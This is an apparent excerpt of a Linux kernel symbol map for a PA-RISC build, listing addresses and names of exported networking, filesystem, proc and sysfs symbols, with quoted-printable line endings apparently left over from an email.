1031d678 r __kstrtab_qdisc_restart=0A=
1031d688 r __kstrtab_qdisc_reset=0A=
1031d694 r __kstrtab_qdisc_destroy=0A=
1031d6a4 r __kstrtab_qdisc_alloc=0A=
1031d6b0 r __kstrtab_qdisc_create_dflt=0A=
1031d6c4 r __kstrtab_noop_qdisc_ops=0A=
1031d6d4 r __kstrtab_noop_qdisc=0A=
1031d6e0 r __kstrtab_netif_carrier_off=0A=
1031d6f4 r __kstrtab_netif_carrier_on=0A=
1031d708 r __kstrtab___netdev_watchdog_up=0A=
1031d720 r __kstrtab_netlink_unregister_notifier=0A=
1031d73c r __kstrtab_netlink_unicast=0A=
1031d74c r __kstrtab_netlink_set_nonroot=0A=
1031d760 r __kstrtab_netlink_set_err=0A=
1031d770 r __kstrtab_netlink_register_notifier=0A=
1031d78c r __kstrtab_netlink_kernel_create=0A=
1031d7a4 r __kstrtab_netlink_dump_start=0A=
1031d7b8 r __kstrtab_netlink_broadcast=0A=
1031d7cc r __kstrtab_netlink_queue_skip=0A=
1031d7e0 r __kstrtab_netlink_run_queue=0A=
1031d7f4 r __kstrtab_netlink_ack=0A=
1031d800 r __kstrtab_nla_strcmp=0A=
1031d80c r __kstrtab_nla_memcmp=0A=
1031d818 r __kstrtab_nla_memcpy=0A=
1031d824 r __kstrtab_nla_put=0A=
1031d82c r __kstrtab___nla_put=0A=
1031d838 r __kstrtab_nla_reserve=0A=
1031d844 r __kstrtab___nla_reserve=0A=
1031d854 r __kstrtab_nla_strlcpy=0A=
1031d860 r __kstrtab_nla_find=0A=
1031d86c r __kstrtab_nla_parse=0A=
1031d878 r __kstrtab_nla_validate=0A=
1031d888 r __kstrtab_genl_unregister_family=0A=
1031d8a0 r __kstrtab_genl_register_family=0A=
1031d8b8 r __kstrtab_genl_unregister_ops=0A=
1031d8cc r __kstrtab_genl_register_ops=0A=
1031d8e0 r __kstrtab_genl_sock=0A=
1031d8ec r __kstrtab_ip_route_output_key=0A=
1031d900 r __kstrtab_ip_route_input=0A=
1031d910 r __kstrtab___ip_select_ident=0A=
1031d924 r __kstrtab_ip_route_output_flow=0A=
1031d93c r __kstrtab___ip_route_output_key=0A=
1031d954 r __kstrtab_inet_del_protocol=0A=
1031d968 r __kstrtab_inet_add_protocol=0A=
1031d97c r __kstrtab_ip_statistics=0A=
1031d98c r __kstrtab_ip_defrag=0A=
1031d998 r __kstrtab_ip_send_check=0A=
1031d9a8 r __kstrtab_ip_queue_xmit=0A=
1031d9b8 r __kstrtab_ip_generic_getfrag=0A=
1031d9cc r __kstrtab_ip_fragment=0A=
1031d9d8 r __kstrtab_ip_build_and_send_pkt=0A=
1031d9f0 r __kstrtab_ip_setsockopt=0A=
1031da00 r __kstrtab_ip_getsockopt=0A=
1031da10 r __kstrtab_ip_cmsg_recv=0A=
1031da20 r __kstrtab___inet_lookup_listener=0A=
1031da38 r __kstrtab_inet_listen_wlock=0A=
1031da4c r __kstrtab_inet_put_port=0A=
1031da5c r __kstrtab_inet_bind_hash=0A=
1031da6c r __kstrtab_inet_bind_bucket_create=0A=
1031da84 r __kstrtab_inet_twdr_twcal_tick=0A=
1031da9c r __kstrtab_inet_twsk_schedule=0A=
1031dab0 r __kstrtab_inet_twsk_deschedule=0A=
1031dac8 r __kstrtab_inet_twdr_twkill_work=0A=
1031dae0 r __kstrtab_inet_twdr_hangman=0A=
1031daf4 r __kstrtab_inet_twsk_alloc=0A=
1031db04 r __kstrtab___inet_twsk_hashdance=0A=
1031db1c r __kstrtab___inet_twsk_kill=0A=
1031db30 r __kstrtab_inet_csk_listen_stop=0A=
1031db48 r __kstrtab_inet_csk_listen_start=0A=
1031db60 r __kstrtab_inet_csk_destroy_sock=0A=
1031db78 r __kstrtab_inet_csk_clone=0A=
1031db88 r __kstrtab_inet_csk_reqsk_queue_prune=0A=
1031dba4 r __kstrtab_inet_csk_reqsk_queue_hash_add=0A=
1031dbc4 r __kstrtab_inet_csk_search_req=0A=
1031dbd8 r __kstrtab_inet_csk_route_req=0A=
1031dbec r __kstrtab_inet_csk_reset_keepalive_timer=0A=
1031dc0c r __kstrtab_inet_csk_delete_keepalive_timer=0A=
1031dc2c r __kstrtab_inet_csk_clear_xmit_timers=0A=
1031dc48 r __kstrtab_inet_csk_init_xmit_timers=0A=
1031dc64 r __kstrtab_inet_csk_accept=0A=
1031dc74 r __kstrtab_inet_csk_get_port=0A=
1031dc88 r __kstrtab_inet_csk_timer_bug_msg=0A=
1031dca0 r __kstrtab_tcp_statistics=0A=
1031dcb0 r __kstrtab_tcp_shutdown=0A=
1031dcc0 r __kstrtab_tcp_setsockopt=0A=
1031dcd0 r __kstrtab_tcp_sendpage=0A=
1031dce0 r __kstrtab_tcp_sendmsg=0A=
1031dcec r __kstrtab_tcp_recvmsg=0A=
1031dcf8 r __kstrtab_tcp_read_sock=0A=
1031dd08 r __kstrtab_tcp_poll=0A=
1031dd14 r __kstrtab_tcp_ioctl=0A=
1031dd20 r __kstrtab_tcp_getsockopt=0A=
1031dd30 r __kstrtab_tcp_disconnect=0A=
1031dd40 r __kstrtab_tcp_close=0A=
1031dd4c r __kstrtab_tcp_get_info=0A=
1031dd5c r __kstrtab_tcp_enter_memory_pressure=0A=
1031dd78 r __kstrtab_tcp_memory_pressure=0A=
1031dd8c r __kstrtab_tcp_sockets_allocated=0A=
1031dda4 r __kstrtab_tcp_memory_allocated=0A=
1031ddbc r __kstrtab_sysctl_tcp_wmem=0A=
1031ddcc r __kstrtab_sysctl_tcp_rmem=0A=
1031dddc r __kstrtab_sysctl_tcp_mem=0A=
1031ddec r __kstrtab_tcp_orphan_count=0A=
1031de00 r __kstrtab_tcp_rcv_state_process=0A=
1031de18 r __kstrtab_tcp_rcv_established=0A=
1031de2c r __kstrtab_tcp_parse_options=0A=
1031de40 r __kstrtab_sysctl_tcp_abc=0A=
1031de50 r __kstrtab_sysctl_tcp_reordering=0A=
1031de68 r __kstrtab_sysctl_tcp_ecn=0A=
1031de78 r __kstrtab_sysctl_tcp_tso_win_divisor=0A=
1031de94 r __kstrtab_tcp_sync_mss=0A=
1031dea4 r __kstrtab_tcp_simple_retransmit=0A=
1031debc r __kstrtab_tcp_make_synack=0A=
1031decc r __kstrtab_tcp_connect=0A=
1031ded8 r __kstrtab_tcp_init_xmit_timers=0A=
1031def0 r __kstrtab_sysctl_tcp_tw_reuse=0A=
1031df04 r __kstrtab_sysctl_tcp_low_latency=0A=
1031df1c r __kstrtab_sysctl_local_port_range=0A=
1031df34 r __kstrtab_tcp_proc_unregister=0A=
1031df48 r __kstrtab_tcp_proc_register=0A=
1031df5c r __kstrtab_tcp_v4_syn_recv_sock=0A=
1031df74 r __kstrtab_tcp_v4_send_check=0A=
1031df88 r __kstrtab_tcp_v4_remember_stamp=0A=
1031dfa0 r __kstrtab_tcp_v4_do_rcv=0A=
1031dfb0 r __kstrtab_tcp_v4_connect=0A=
1031dfc0 r __kstrtab_tcp_v4_conn_request=0A=
1031dfd4 r __kstrtab_tcp_unhash=0A=
1031dfe0 r __kstrtab_tcp_prot=0A=
1031dfec r __kstrtab_tcp_hashinfo=0A=
1031dffc r __kstrtab_inet_bind_bucket_create=0A=
1031e014 r __kstrtab_ipv4_specific=0A=
1031e024 r __kstrtab_tcp_v4_destroy_sock=0A=
1031e038 r __kstrtab_tcp_timewait_state_process=0A=
1031e054 r __kstrtab_tcp_create_openreq_child=0A=
1031e070 r __kstrtab_tcp_child_process=0A=
1031e084 r __kstrtab_tcp_check_req=0A=
1031e094 r __kstrtab_tcp_death_row=0A=
1031e0a4 r __kstrtab_tcp_init_congestion_ops=0A=
1031e0bc r __kstrtab_tcp_reno_min_cwnd=0A=
1031e0d0 r __kstrtab_tcp_reno_ssthresh=0A=
1031e0e4 r __kstrtab_tcp_reno_cong_avoid=0A=
1031e0f8 r __kstrtab_tcp_unregister_congestion_control=0A=
1031e11c r __kstrtab_tcp_register_congestion_control=0A=
1031e13c r __kstrtab_ip4_datagram_connect=0A=
1031e154 r __kstrtab_udp_proc_unregister=0A=
1031e168 r __kstrtab_udp_proc_register=0A=
1031e17c r __kstrtab_udp_poll=0A=
1031e188 r __kstrtab_udp_sendmsg=0A=
1031e194 r __kstrtab_udp_prot=0A=
1031e1a0 r __kstrtab_udp_port_rover=0A=
1031e1b0 r __kstrtab_udp_ioctl=0A=
1031e1bc r __kstrtab_udp_hash_lock=0A=
1031e1cc r __kstrtab_udp_hash=0A=
1031e1d8 r __kstrtab_udp_disconnect=0A=
1031e1e8 r __kstrtab_arp_tbl=0A=
1031e1f0 r __kstrtab_arp_send=0A=
1031e1fc r __kstrtab_arp_xmit=0A=
1031e208 r __kstrtab_arp_create=0A=
1031e214 r __kstrtab_arp_rcv=0A=
1031e21c r __kstrtab_arp_find=0A=
1031e228 r __kstrtab_arp_broken_ops=0A=
1031e238 r __kstrtab_xrlim_allow=0A=
1031e244 r __kstrtab_icmp_statistics=0A=
1031e254 r __kstrtab_icmp_send=0A=
1031e260 r __kstrtab_icmp_err_convert=0A=
1031e274 r __kstrtab_unregister_inetaddr_notifier=0A=
1031e294 r __kstrtab_register_inetaddr_notifier=0A=
1031e2b0 r __kstrtab_inetdev_by_index=0A=
1031e2c4 r __kstrtab_inet_select_addr=0A=
1031e2d8 r __kstrtab_in_dev_finish_destroy=0A=
1031e2f0 r __kstrtab_devinet_ioctl=0A=
1031e300 r __kstrtab_sysctl_ip_nonlocal_bind=0A=
1031e318 r __kstrtab_net_statistics=0A=
1031e328 r __kstrtab_inet_unregister_protosw=0A=
1031e340 r __kstrtab_inet_stream_ops=0A=
1031e350 r __kstrtab_inet_stream_connect=0A=
1031e364 r __kstrtab_inet_sock_destruct=0A=
1031e378 r __kstrtab_inet_shutdown=0A=
1031e388 r __kstrtab_inet_sendmsg=0A=
1031e398 r __kstrtab_inet_release=0A=
1031e3a8 r __kstrtab_inet_register_protosw=0A=
1031e3c0 r __kstrtab_inet_listen=0A=
1031e3cc r __kstrtab_inet_ioctl=0A=
1031e3d8 r __kstrtab_inet_getname=0A=
1031e3e8 r __kstrtab_inet_dgram_ops=0A=
1031e3f8 r __kstrtab_inet_dgram_connect=0A=
1031e40c r __kstrtab_inet_bind=0A=
1031e418 r __kstrtab_inet_accept=0A=
1031e424 r __kstrtab_inet_sk_rebuild_header=0A=
1031e43c r __kstrtab_ip_mc_join_group=0A=
1031e450 r __kstrtab_ip_mc_inc_group=0A=
1031e460 r __kstrtab_ip_mc_dec_group=0A=
1031e470 r __kstrtab_ipv4_config=0A=
1031e47c r __kstrtab_ip_rt_ioctl=0A=
1031e488 r __kstrtab_inet_addr_type=0A=
1031e498 r __kstrtab_klist_next=0A=
1031e4a4 r __kstrtab_klist_iter_exit=0A=
1031e4b4 r __kstrtab_klist_iter_init=0A=
1031e4c4 r __kstrtab_klist_iter_init_node=0A=
1031e4dc r __kstrtab_klist_node_attached=0A=
1031e4f0 r __kstrtab_klist_remove=0A=
1031e500 r __kstrtab_klist_del=0A=
1031e50c r __kstrtab_klist_add_tail=0A=
1031e51c r __kstrtab_klist_add_head=0A=
1031e52c r __kstrtab_klist_init=0A=
1031e538 r __kstrtab_sha_transform=0A=
1031e548 r __kstrtab_csum_partial_copy_from_user=0A=
1031e564 r __kstrtab_csum_partial_copy_nocheck=0A=
1031e580 r __kstrtab_csum_partial=0A=
1031e590 A __end_rodata=0A=
1031f000 r __param_maxbatch=0A=
1031f000 R __start___param=0A=
1031f014 r __param_scsi_logging_level=0A=
1031f028 r __param_inq_timeout=0A=
1031f03c r __param_max_report_luns=0A=
1031f050 r __param_max_luns=0A=
1031f064 r __param_default_dev_flags=0A=
1031f078 r __param_dev_flags=0A=
1031f08c r __param_safe=0A=
1031f0a0 r __param_excl=0A=
1031f0b4 r __param_nvram=0A=
1031f0c8 r __param_settle=0A=
1031f0dc r __param_debug=0A=
1031f0f0 r __param_verb=0A=
1031f104 r __param_hostid=0A=
1031f118 r __param_buschk=0A=
1031f12c r __param_irqm=0A=
1031f140 r __param_diff=0A=
1031f154 r __param_led=0A=
1031f168 r __param_burst=0A=
1031f17c r __param_tag_ctrl=0A=
1031f190 r __param_cmd_per_lun=0A=
1031f1a4 r __param_try_wdio=0A=
1031f1b8 r __param_try_rdio=0A=
1031f1cc r __param_try_direct_io=0A=
1031f1e0 r __param_max_sg_segs=0A=
1031f1f4 r __param_buffer_kbs=0A=
1031f208 r __param_xa_test=0A=
1031f21c r __param_allow_dio=0A=
1031f230 r __param_def_reserved_size=0A=
1031f244 r __param_mrw_format_restart=0A=
1031f258 r __param_check_media_type=0A=
1031f26c r __param_lockdoor=0A=
1031f280 r __param_autoeject=0A=
1031f294 r __param_autoclose=0A=
1031f2a8 r __param_debug=0A=
1031f2bc r __param_tap_time=0A=
1031f2d0 r __param_yres=0A=
1031f2e4 r __param_xres=0A=
1031f2f8 r __param_extra=0A=
1031f30c r __param_scroll=0A=
1031f320 r __param_softraw=0A=
1031f334 r __param_softrepeat=0A=
1031f348 r __param_reset=0A=
1031f35c r __param_set=0A=
1031f370 r __param_smooth_part=0A=
1031f384 r __param_initial_ssthresh=0A=
1031f398 r __param_low_utilization_period=0A=
1031f3ac r __param_low_utilization_threshold=0A=
1031f3c0 r __param_beta=0A=
1031f3d4 r __param_low_window=0A=
1031f3e8 r __param_max_increment=0A=
1031f3fc r __param_fast_convergence=0A=
1031f410 R __stop___param=0A=
10320000 A __start___ex_table=0A=
10320000 A data_start=0A=
10321d70 A __start___unwind=0A=
10321d70 A __stop___ex_table=0A=
1033e7c0 A __stop___unwind=0A=
1033f000 D boot_args=0A=
1033f010 D $global$=0A=
1033f014 D child_reaper=0A=
1033f018 D loops_per_jiffy=0A=
1033f01c D envp_init=0A=
1033f0a4 d max_cpus=0A=
1033f0a8 d argv_init=0A=
1033f130 D system_utsname=0A=
1033f2b8 D root_mountflags=0A=
1033f2bc d free_space_ids=0A=
1033f2c0 d space_id=0A=
103472c0 d pdcdata_resource=0A=
103472dc d code_resource=0A=
103472f8 d data_resource=0A=
10348000 D cpuinfo_op=0A=
10348010 D parisc_vmerge_max_size=0A=
10348014 D parisc_vmerge_boundary=0A=
10348018 d global_broadcast=0A=
10348034 d local_broadcast=0A=
10348050 d central_bus=0A=
1034806c D cpu_lpmc=0A=
10348070 d timer_action=0A=
10348090 d cpu_interrupt_type=0A=
103480b0 d next_cpu___0=0A=
103480b4 D cpu_name_version=0A=
10348118 D parisc_bus_type=0A=
1034823c d parisc_device_attrs=0A=
103482b8 d root=0A=
10349000 d hpmc_stack=0A=
1034d000 d hpmc_iodc_buf=0A=
10355000 d hpmc_raddr=0A=
10355080 D hpmc_pim_data=0A=
10356000 d pdc_cons=0A=
1035602c d unwind_tables=0A=
10356034 D pci_hba_count=0A=
10356038 D pci_post_reset_delay=0A=
10356040 D init_task=0A=
10356490 d init_sighand=0A=
10356898 d init_signals=0A=
103569e8 d init_files=0A=
10356b98 d init_fs=0A=
10356bb8 D init_mm=0A=
10356d30 D nohz_cpu_mask=0A=
10356d34 D cpu_possible_map=0A=
10356d38 D cpu_online_map=0A=
10356d3c d stat_nam___0=0A=
10356d58 D mmlist_lock=0A=
10356d58 D per_cpu__process_counts=0A=
10356d5c D default_exec_domain=0A=
10356d88 d ident_map=0A=
10356e08 d exec_domains=0A=
10356e0c D printk_ratelimit_burst=0A=
10356e10 D printk_ratelimit_jiffies=0A=
10356e14 D console_printk=0A=
10356e24 D log_wait=0A=
10356e2c d log_buf=0A=
10356e30 d log_buf_len=0A=
10356e34 d selected_console=0A=
10356e38 d preferred_console=0A=
10356e3c d console_sem=0A=
10356e48 d printk_cpu=0A=
10356e4c d msg_level___4=0A=
10356e50 d log_level_unknown___6=0A=
10356e54 d toks___1=0A=
10356e58 d proc_profile_operations=0A=
10356ec4 d prof_cpu_mask=0A=
10356ec8 D pps_shift=0A=
10356ecc D pps_valid=0A=
10356ed0 D pps_stabil=0A=
10356ed4 D pps_jitter=0A=
10356ed8 d firsttime___0=0A=
10356edc d cpu_nfb=0A=
10356ee8 D iomem_resource=0A=
10356f04 D ioport_resource=0A=
10356f20 d proc_iomem_operations=0A=
10356f8c d proc_ioports_operations=0A=
10356ff8 d resource_op=0A=
10357008 D proc_sys_file_operations=0A=
10357074 D randomize_va_space=0A=
10357078 d root_table_header=0A=
1035708c d root_table=0A=
103571ec d fs_table=0A=
10357480 d maxolduid=0A=
10357484 d vm_table=0A=
10357770 d one_hundred=0A=
10357774 d kern_table=0A=
10357dd0 d ngroups_max=0A=
10357dd4 D cap_bset=0A=
10357dd8 D securebits=0A=
10357de0 D xtime_lock=0A=
10357de4 D wall_jiffies=0A=
10357de8 D time_freq=0A=
10357dec D time_esterror=0A=
10357df0 D time_maxerror=0A=
10357df4 D time_precision=0A=
10357df8 D time_tolerance=0A=
10357dfc D time_constant=0A=
10357e00 D time_status=0A=
10357e04 D time_state=0A=
10357e08 D tickadj=0A=
10357e0c D tick_nsec=0A=
10357e10 D tick_usec=0A=
10357e14 D __init_timer_base=0A=
10357e18 D jiffies_64=0A=
10357e1c A jiffies=0A=
10357e20 d timers_nb=0A=
10357e2c d count___0=0A=
10357e30 D root_user=0A=
10357e5c D uts_sem=0A=
10357e68 D init_groups=0A=
10357ef4 D cad_pid=0A=
10357ef8 D C_A_D=0A=
10357efc D fs_overflowgid=0A=
10357f00 D fs_overflowuid=0A=
10357f04 D overflowgid=0A=
10357f08 D overflowuid=0A=
10357f0c d cad_work___0=0A=
10357f3c D modprobe_path=0A=
1035803c d envp___0=0A=
1035804c d workqueues=0A=
10358054 D pid_max_max=0A=
10358058 D pid_max_min=0A=
1035805c D pid_max=0A=
10358060 d pidmap_array=0A=
10358068 d maxbatch=0A=
1035806c d __param_str_maxbatch=0A=
10358080 D per_cpu__rcu_bh_data=0A=
103580b8 D per_cpu__rcu_data=0A=
103580f0 D rcu_bh_ctrlblk=0A=
103580fc D rcu_ctrlblk=0A=
10358108 d rcu_nb=0A=
10358114 d ime_list=0A=
1035811c D module_subsys=0A=
10358170 d module_ktype=0A=
1035817c d module_sysfs_ops=0A=
10358184 d abs_list=0A=
1035818c d nanosleep_abs_wqueue=0A=
10358194 d clock_was_set_lock=0A=
103581a0 d clock_was_set_work=0A=
103581d0 d kthread_stop_lock=0A=
103581dc d futex_fs_type=0A=
103581fc d futex_fops=0A=
10358268 D modules_op=0A=
10358278 d modules=0A=
10358280 d module_mutex=0A=
1035828c d notify_mutex=0A=
10358298 d modinfo_attrs=0A=
103582a4 d modinfo_srcversion=0A=
103582c4 d modinfo_version=0A=
103582e4 d refcnt=0A=
10358304 d kallsyms_operations=0A=
10358370 d kallsyms_op=0A=
10358380 d ikconfig_file_ops=0A=
103583ec D kernel_subsys=0A=
10358440 d kernel_attr_group=0A=
10358448 d kernel_attrs=0A=
10358450 d hotplug_seqnum_attr=0A=
10358464 D no_irq_type=0A=
10358484 d count___0=0A=
10358488 d probe_sem=0A=
10358494 D generic_file_vm_ops=0A=
103584a4 D vmstat_op=0A=
103584b4 D zoneinfo_op=0A=
103584c4 D fragmentation_op=0A=
103584d4 D contig_page_data=0A=
10358a28 D nr_pagecache=0A=
10358a2c D min_free_kbytes=0A=
10358a30 D sysctl_lowmem_reserve_ratio=0A=
10358a3c d vmstat_text=0A=
10358ad4 d zone_names=0A=
10358ae4 D dirty_expire_centisecs=0A=
10358ae8 D dirty_writeback_centisecs=0A=
10358aec D vm_dirty_ratio=0A=
10358af0 D dirty_background_ratio=0A=
10358af4 d ratelimit_nb=0A=
10358b00 d wb_timer=0A=
10358b18 d ratelimit_pages=0A=
10358b1c d laptop_mode_wb_timer=0A=
10358b34 D nr_pdflush_threads=0A=
10358b38 d pdflush_list=0A=
10358b40 D default_backing_dev_info=0A=
10358b5c D slabinfo_op=0A=
10358b6c D malloc_sizes=0A=
10358c20 d cache_cache=0A=
10358c74 d initarray_generic=0A=
10358c88 d cpucache_notifier=0A=
10358c94 D vm_swappiness=0A=
10358c98 d shrinker_list=0A=
10358ca0 d shrinker_rwsem=0A=
10358cac D vm_committed_space=0A=
10358cb0 D sysctl_overcommit_ratio=0A=
10358cb4 D sysctl_overcommit_memory=0A=
10358cb8 D protection_map=0A=
10358cf8 D swapper_space=0A=
10358cf8 D vmlist_lock=0A=
10358d40 d swap_backing_dev_info=0A=
10358d5c d swap_aops=0A=
10358d90 D swap_list=0A=
10358d98 d proc_swaps_operations=0A=
10358d98 D swap_lock=0A=
10358e04 d swaps_op=0A=
10358e14 d swapon_sem=0A=
10358e20 d swap_unplug_sem=0A=
10358e2c D swap_token_default_timeout=0A=
10358e30 D swap_token_mm=0A=
10358e34 d tmpfs_fs_type=0A=
10358e54 d shmem_ops=0A=
10358ea4 d shmem_dir_inode_operations=0A=
10358ef4 d shmem_file_operations=0A=
10358f60 d shmem_inode_operations=0A=
10358fb0 d shmem_aops=0A=
10358fe4 d shmem_swaplist=0A=
10358fec d shmem_vm_ops=0A=
10358ffc d shmem_symlink_inode_operations=0A=
1035904c d shmem_symlink_inline_operations=0A=
1035909c D generic_ro_fops=0A=
10359108 D files_lock=0A=
10359108 D files_stat=0A=
10359114 d bio_dirty_work=0A=
10359144 D sb_lock=0A=
10359144 D super_blocks=0A=
1035914c d mutex___0=0A=
10359158 D def_blk_fops=0A=
103591c4 D def_blk_aops=0A=
103591f8 d all_bdevs=0A=
10359200 d bd_type=0A=
10359220 d bdev_sops=0A=
10359270 D def_chr_fops=0A=
103592dc d chrdevs_lock=0A=
103592e8 d ktype_cdev_default=0A=
103592f4 d ktype_cdev_dynamic=0A=
10359300 D suid_dumpable=0A=
10359304 D core_pattern=0A=
10359348 D rdwr_pipe_fops=0A=
103593b4 D write_pipe_fops=0A=
10359420 D read_pipe_fops=0A=
1035948c D rdwr_fifo_fops=0A=
103594f8 D write_fifo_fops=0A=
10359564 D read_fifo_fops=0A=
103595d0 d anon_pipe_buf_ops=0A=
103595e0 d pipe_fs_type=0A=
10359600 d pipefs_dentry_operations=0A=
10359618 D page_symlink_inode_operations=0A=
10359668 d band_table=0A=
10359680 D def_fifo_fops=0A=
103596ec D file_lock_list=0A=
103596f4 D lease_break_time=0A=
103596f8 D leases_enable=0A=
103596fc d blocked_list=0A=
10359704 d lease_manager_ops=0A=
10359720 D dentry_stat=0A=
10359738 D dcache_lock=0A=
10359738 D sysctl_vfs_cache_pressure=0A=
1035973c d dentry_unused=0A=
10359744 D iprune_sem=0A=
10359750 D inode_lock=0A=
10359750 D inode_unused=0A=
10359758 D inode_in_use=0A=
10359760 d bad_inode_ops=0A=
103597b0 d bad_file_ops=0A=
1035981c D mounts_op=0A=
1035982c d fs_info___0=0A=
1035982c D vfsmount_lock=0A=
1035985c d mnt_info___1=0A=
1035987c D aio_max_nr=0A=
10359880 d fput_work=0A=
103598b0 d fput_head=0A=
103598b8 D simple_dir_inode_operations=0A=
10359908 D simple_dir_operations=0A=
10359974 d simple_dentry_operations___4=0A=
1035998c d cursor_name___3=0A=
10359998 d default_ops___2=0A=
103599e8 d s_ops___1=0A=
10359a38 D inotify_table=0A=
10359ae8 d inotify_fs_type=0A=
10359b08 d inotify_fops=0A=
10359b74 d eventpoll_fs_type=0A=
10359b94 d eventpoll_fops=0A=
10359c00 d eventpollfs_dentry_operations=0A=
10359c18 d map=0A=
10359c84 d script_format=0A=
10359c9c d elf_format=0A=
10359cb4 D dir_notify_enable=0A=
10359cb8 D proc_pid_smaps_op=0A=
10359cc8 D proc_pid_maps_op=0A=
10359cd8 d proc_sops=0A=
10359d28 D proc_root=0A=
10359d78 d proc_root_operations=0A=
10359de4 d proc_root_inode_operations=0A=
10359e34 d proc_fs_type=0A=
10359e54 d pid_base_dentry_operations=0A=
10359e6c d proc_tgid_base_operations=0A=
10359ed8 d proc_tgid_base_inode_operations=0A=
10359f28 d proc_self_inode_operations=0A=
10359f78 d tgid_base_stuff=0A=
1035a0a8 d pid_dentry_operations=0A=
1035a0c0 d proc_oom_adjust_operations=0A=
1035a12c d proc_smaps_operations=0A=
1035a198 d proc_mounts_operations=0A=
1035a204 d proc_mem_operations=0A=
1035a270 d proc_mem_inode_operations=0A=
1035a2c0 d proc_maps_operations=0A=
1035a32c d proc_info_file_operations=0A=
1035a398 d proc_pid_link_inode_operations=0A=
1035a3e8 d proc_fd_operations=0A=
1035a454 d proc_fd_inode_operations=0A=
1035a4a4 d proc_task_operations=0A=
1035a510 d proc_task_inode_operations=0A=
1035a560 d proc_tid_base_operations=0A=
1035a5cc d proc_tid_base_inode_operations=0A=
1035a61c d tid_base_stuff=0A=
1035a73c d tid_fd_dentry_operations=0A=
1035a754 d proc_dentry_operations=0A=
1035a76c d proc_dir_inode_operations=0A=
1035a7bc d proc_dir_operations=0A=
1035a828 d proc_file_inode_operations=0A=
1035a878 d proc_file_operations=0A=
1035a8e4 d proc_link_inode_operations=0A=
1035a934 d task_state_array=0A=
1035a950 D proc_kmsg_operations=0A=
1035a9bc d proc_tty_drivers_operations=0A=
1035aa28 d tty_drivers_op=0A=
1035aa38 d proc_modules_operations=0A=
1035aaa4 d proc_diskstats_operations=0A=
1035ab10 d proc_zoneinfo_file_operations=0A=
1035ab7c d proc_vmstat_file_operations=0A=
1035abe8 d fragmentation_file_operations=0A=
1035ac54 d proc_slabinfo_operations=0A=
1035acc0 d proc_interrupts_operations=0A=
1035ad2c d proc_stat_operations=0A=
1035ad98 d proc_partitions_operations=0A=
1035ae04 d proc_cpuinfo_operations=0A=
1035ae70 d int_seq_ops=0A=
1035ae80 d simple_ones___1=0A=
1035aed0 D proc_kcore_operations=0A=
1035af3c D ktype_part=0A=
1035af48 d default_attrs=0A=
1035af60 d part_attr_stat=0A=
1035af74 d part_attr_size=0A=
1035af88 d part_attr_start=0A=
1035af9c d part_attr_dev=0A=
1035afb0 d part_attr_uevent=0A=
1035afc4 d part_sysfs_ops=0A=
1035afcc D warn_no_part=0A=
1035afd0 d check_part=0A=
1035afd8 d subtypes=0A=
1035b018 d sysfs_inode_operations=0A=
1035b068 d sysfs_backing_dev_info=0A=
1035b084 d sysfs_aops=0A=
1035b0b8 D sysfs_file_operations=0A=
1035b124 d subsys_sysfs_ops=0A=
1035b12c D sysfs_dir_operations=0A=
1035b198 D sysfs_dir_inode_operations=0A=
1035b1e8 D sysfs_rename_sem=0A=
1035b1f4 d sysfs_dentry_ops=0A=
1035b20c D sysfs_symlink_inode_operations=0A=
1035b25c D sysfs_sb=0A=
1035b260 d sysfs_fs_type=0A=
1035b280 d sysfs_root=0A=
1035b2a8 d sysfs_ops=0A=
1035b2f8 D bin_fops=0A=
1035b364 d devpts_fs_type=0A=
1035b384 d devpts_sops=0A=
1035b3d4 d config=0A=
1035b3e8 D reiserfs_special_inode_operations=0A=
1035b438 D reiserfs_symlink_inode_operations=0A=
1035b488 D reiserfs_dir_inode_operations=0A=
1035b4d8 D reiserfs_address_space_operations=0A=
1035b50c D reiserfs_file_inode_operations=0A=
1035b55c D reiserfs_file_operations=0A=
1035b5c8 D reiserfs_dir_operations=0A=
1035b634 D reiserfs_fs_type=0A=
1035b654 D reiserfs_default_io_size=0A=
1035b658 d reiserfs_export_ops=0A=
1035b670 d reiserfs_sops=0A=
1035b6c0 D item_ops=0A=
1035b700 d errcatch_ops=0A=
1035b72c d direntry_ops=0A=
1035b758 d direct_ops=0A=
1035b784 d indirect_ops=0A=
1035b7b0 d stat_data_ops=0A=
1035b7dc d nibblemap=0A=
1035b81c D ext3_dir_operations=0A=
1035b888 d ext3_filetype_table=0A=
1035b890 D ext3_file_inode_operations=0A=
1035b8e0 D ext3_file_operations=0A=
1035b94c d ext3_journalled_aops=0A=
1035b980 d ext3_writeback_aops=0A=
1035b9b4 d ext3_ordered_aops=0A=
1035b9e8 D ext3_special_inode_operations=0A=
1035ba38 D ext3_dir_inode_operations=0A=
1035ba88 d ext3_type_by_mode=0A=
1035ba98 d ext3_fs_type=0A=
1035bab8 d ext3_export_ops=0A=
1035bad0 d ext3_sops=0A=
1035bb20 d tokens=0A=
1035bc90 D ext3_fast_symlink_inode_operations=0A=
1035bce0 D ext3_symlink_inode_operations=0A=
1035bd30 D ramfs_file_operations=0A=
1035bd9c d ramfs_fs_type=0A=
1035bdbc d rootfs_fs_type=0A=
1035bddc d ramfs_ops=0A=
1035be2c d ramfs_dir_inode_operations=0A=
1035be7c d ramfs_file_inode_operations=0A=
1035becc d ramfs_backing_dev_info=0A=
1035bee8 d ramfs_aops=0A=
1035bf1c d iso9660_fs_type=0A=
1035bf3c d isofs_dentry_ops=0A=
1035bf9c d isofs_sops=0A=
1035bfec d isofs_aops=0A=
1035c020 d tokens=0A=
1035c130 D isofs_dir_inode_operations=0A=
1035c180 D isofs_dir_operations=0A=
1035c1ec D isofs_symlink_aops=0A=
1035c220 D isofs_export_ops=0A=
1035c238 d default_table=0A=
1035c258 d charset2upper=0A=
1035c358 d charset2lower=0A=
1035c458 d charset2uni=0A=
1035c658 d page_uni2charset=0A=
1035ca58 d page00=0A=
1035cb58 d tables=0A=
1035cb5c d utf8_table=0A=
1035cbe8 d sysvipc_proc_fops=0A=
1035cc54 d sysvipc_proc_seqops=0A=
1035cc64 D msg_ctlmni=0A=
1035cc68 D msg_ctlmnb=0A=
1035cc6c D msg_ctlmax=0A=
1035cc70 D sem_ctls=0A=
1035cc80 D shm_ctlmni=0A=
1035cc84 D shm_ctlall=0A=
1035cc88 D shm_ctlmax=0A=
1035cc8c d shm_vm_ops=0A=
1035cc9c d shm_file_operations=0A=
1035cd08 d mqueue_fs_type=0A=
1035cd28 d mq_sysctl_root=0A=
1035cd80 d mq_sysctl_dir=0A=
1035cdd8 d mq_sysctls=0A=
1035ce88 d msg_maxsize_limit_max=0A=
1035ce8c d msg_maxsize_limit_min=0A=
